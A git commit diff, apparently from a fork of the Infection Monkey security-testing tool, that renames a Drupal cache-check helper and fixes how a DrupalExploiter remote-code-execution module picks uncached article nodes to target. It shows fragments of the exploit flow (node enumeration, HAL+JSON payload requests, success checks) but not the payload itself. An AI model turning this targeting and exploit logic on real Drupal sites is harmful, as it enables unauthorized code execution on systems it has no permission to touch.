forked from p15670423/monkey
fixed logic and name in finding exploitable nodes
This commit is contained in:
parent
6e2678473c
commit
f31186272f
|
@ -18,10 +18,8 @@ __author__ = 'Ophir Harpaz'
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def check_drupal_cache(r: requests.Response) -> bool:
|
def is_response_cached(r: requests.Response) -> bool:
|
||||||
"""
|
""" Check if a response had the cache header. """
|
||||||
Check if a response had the cache header.
|
|
||||||
"""
|
|
||||||
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
|
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
|
||||||
|
|
||||||
|
|
||||||
|
@ -29,12 +27,13 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10)
|
||||||
""" Find target articles that do not 404 and are not cached """
|
""" Find target articles that do not 404 and are not cached """
|
||||||
articles = set()
|
articles = set()
|
||||||
while lower < upper:
|
while lower < upper:
|
||||||
u = urljoin(base_url, str(lower))
|
node_url = urljoin(base_url, str(lower))
|
||||||
r = requests.get(u)
|
response = requests.get(node_url)
|
||||||
if r.status_code == 200: # found an article
|
if response.status_code == 200:
|
||||||
articles.add(lower)
|
if is_response_cached(response):
|
||||||
if check_drupal_cache(r):
|
LOG.info(f'Found a cached article at: {node_url}, skipping')
|
||||||
LOG.info(f'Found a cached article at: {lower}, skipping')
|
else:
|
||||||
|
articles.add(lower)
|
||||||
lower += 1
|
lower += 1
|
||||||
return articles
|
return articles
|
||||||
|
|
||||||
|
@ -109,7 +108,7 @@ class DrupalExploiter(WebRCE):
|
||||||
json=payload,
|
json=payload,
|
||||||
headers={"Content-Type": "application/hal+json"})
|
headers={"Content-Type": "application/hal+json"})
|
||||||
|
|
||||||
if check_drupal_cache(response):
|
if is_response_cached(response):
|
||||||
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
|
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -145,7 +144,7 @@ class DrupalExploiter(WebRCE):
|
||||||
|
|
||||||
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
|
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
|
||||||
|
|
||||||
if check_drupal_cache(r):
|
if is_response_cached(r):
|
||||||
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
|
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
|
||||||
|
|
||||||
if ID_STRING not in r.text:
|
if ID_STRING not in r.text:
|
||||||
|
|
Loading…
Reference in New Issue